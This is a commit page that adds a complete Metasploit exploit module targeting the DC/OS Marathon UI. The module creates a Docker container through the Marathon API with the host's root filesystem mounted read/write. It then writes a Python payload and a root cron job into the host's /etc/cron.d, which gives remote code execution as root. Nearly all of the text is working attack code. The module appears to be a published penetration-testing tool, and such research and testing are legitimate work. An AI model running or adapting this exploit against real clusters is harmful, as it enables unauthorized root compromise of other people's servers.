Skip to content

Commit 0943eb2

Browse files
author
wolfthefallen
committed
DC/OS Marathon UI Exploit
1 parent 4f0ca5f commit 0943eb2

File tree

1 file changed

+201
-0
lines changed

1 file changed

+201
-0
lines changed
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'DC/OS Marathon UI Docker Exploit',
17+
'Description' => %q{
18+
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
19+
a docker container with the '/' path mounted with read/write
20+
permissions on the host server that is running the docker container.
21+
As the docker container excutes command as uid 0 it is honored
22+
by the host operating system allowing the attacker to edit/create
23+
files owed by root. This exploit abuses this to creates a cron job
24+
in the '/etc/cron.d/' path of the host server.
25+
26+
*Notes: The docker image must be a valid docker image from
27+
hub.docker.com. Further more the docker container will only
28+
deploy if there are resources available in the DC/OS cluster.
29+
},
30+
'Author' => 'Erik Daguerre',
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
34+
],
35+
'Payload' =>
36+
{
37+
'DisableNops'=> true,
38+
},
39+
'Targets' => [
40+
[ 'Python', {
41+
'Platform' => 'python',
42+
'Arch' => ARCH_PYTHON,
43+
'Payload' => {
44+
'Compat' => {
45+
'ConnectionType' => 'reverse noconn none tunnel'
46+
}
47+
}
48+
}
49+
]
50+
],
51+
'DefaultOptions' => { 'WfsDelay' => 75 },
52+
'DefaultTarget' => 0,
53+
'DisclosureDate' => 'Mar 03, 2017'))
54+
55+
register_options(
56+
[
57+
Opt::RPORT(8080),
58+
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
59+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
60+
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
61+
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wiat for the docker container to deploy', 60 ])
62+
], self.class)
63+
end
64+
65+
def get_apps
66+
res = send_request_raw({
67+
'method' => 'GET',
68+
'uri' => target_uri.path
69+
})
70+
return unless res and res.code == 200
71+
72+
# verify it is marathon ui, and is returning content-type json
73+
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
74+
apps = JSON.parse(res.body)
75+
76+
apps
77+
end
78+
79+
def del_container(container_id)
80+
res = send_request_raw({
81+
'method' => 'DELETE',
82+
'uri' => normalize_uri(target_uri.path, container_id)
83+
})
84+
return unless res and res.code == 200
85+
86+
res.code
87+
end
88+
89+
def make_container_id
90+
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
91+
92+
rand_text_alpha_lower(8)
93+
end
94+
95+
def make_cmd(mnt_path, cron_path, payload_path)
96+
vprint_status('Creating the docker container command')
97+
payload_data = nil
98+
echo_cron_path = mnt_path + cron_path
99+
echo_payload_path = mnt_path + payload_path
100+
101+
cron_command = "python #{payload_path}"
102+
payload_data = payload.raw
103+
104+
command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"
105+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"
106+
command << "echo \"\" >> #{echo_cron_path}\n"
107+
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"
108+
command << "sleep 120"
109+
110+
command
111+
end
112+
113+
def make_container(mnt_path, cron_path, payload_path, container_id)
114+
vprint_status('Setting container json request variables')
115+
container_data = {
116+
'cmd' => make_cmd(mnt_path, cron_path, payload_path),
117+
'cpus' => 1,
118+
'mem' => 128,
119+
'disk' => 0,
120+
'instances' => 1,
121+
'id' => container_id,
122+
'container' => {
123+
'docker' => {
124+
'image' => datastore['DOCKERIMAGE'],
125+
'network' => 'HOST',
126+
},
127+
'type' => 'DOCKER',
128+
'volumes' => [
129+
{
130+
'hostPath' => '/',
131+
'containerPath' => mnt_path,
132+
'mode' => 'RW'
133+
}
134+
],
135+
},
136+
'env' => {},
137+
'labels' => {}
138+
}
139+
140+
container_data
141+
end
142+
143+
def check
144+
return Exploit::CheckCode::Safe if get_apps.nil?
145+
146+
Exploit::CheckCode::Appears
147+
end
148+
149+
def exploit
150+
if get_apps.nil?
151+
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
152+
end
153+
# create required information to create json container information.
154+
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
155+
payload_path = '/tmp/' + rand_text_alpha(8)
156+
mnt_path = '/mnt/' + rand_text_alpha(8)
157+
container_id = make_container_id()
158+
159+
res = send_request_raw({
160+
'method' => 'POST',
161+
'uri' => target_uri.path,
162+
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
163+
})
164+
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201
165+
166+
print_status('The docker container is created, waiting for it to deploy')
167+
register_files_for_cleanup(cron_path, payload_path)
168+
sleep_time = 5
169+
wait_time = datastore['WAIT_TIMEOUT']
170+
deleted_container = false
171+
print_status("Waiting up to #{wait_time} seconds for docker container to start")
172+
173+
while wait_time > 0
174+
sleep(sleep_time)
175+
wait_time -= sleep_time
176+
apps_status = get_apps
177+
fail_with(Failure::Unkown, 'No apps returned') unless apps_status
178+
179+
apps_status['apps'].each do |app|
180+
next if app['id'] != "/#{container_id}"
181+
182+
if app['tasksRunning'] == 1
183+
print_status('The docker container is running, removing it')
184+
del_container(container_id)
185+
deleted_container = true
186+
wait_time = 0
187+
else
188+
vprint_status('The docker container is not yet running')
189+
end
190+
break
191+
end
192+
end
193+
194+
# If the docker container does not deploy remove it and fail out.
195+
unless deleted_container
196+
del_container(container_id)
197+
fail_with(Failure::Unknown, "The docker container failed to start")
198+
end
199+
print_status('Waiting for the cron job to run, can take up to 60 seconds')
200+
end
201+
end

0 commit comments

Comments
 (0)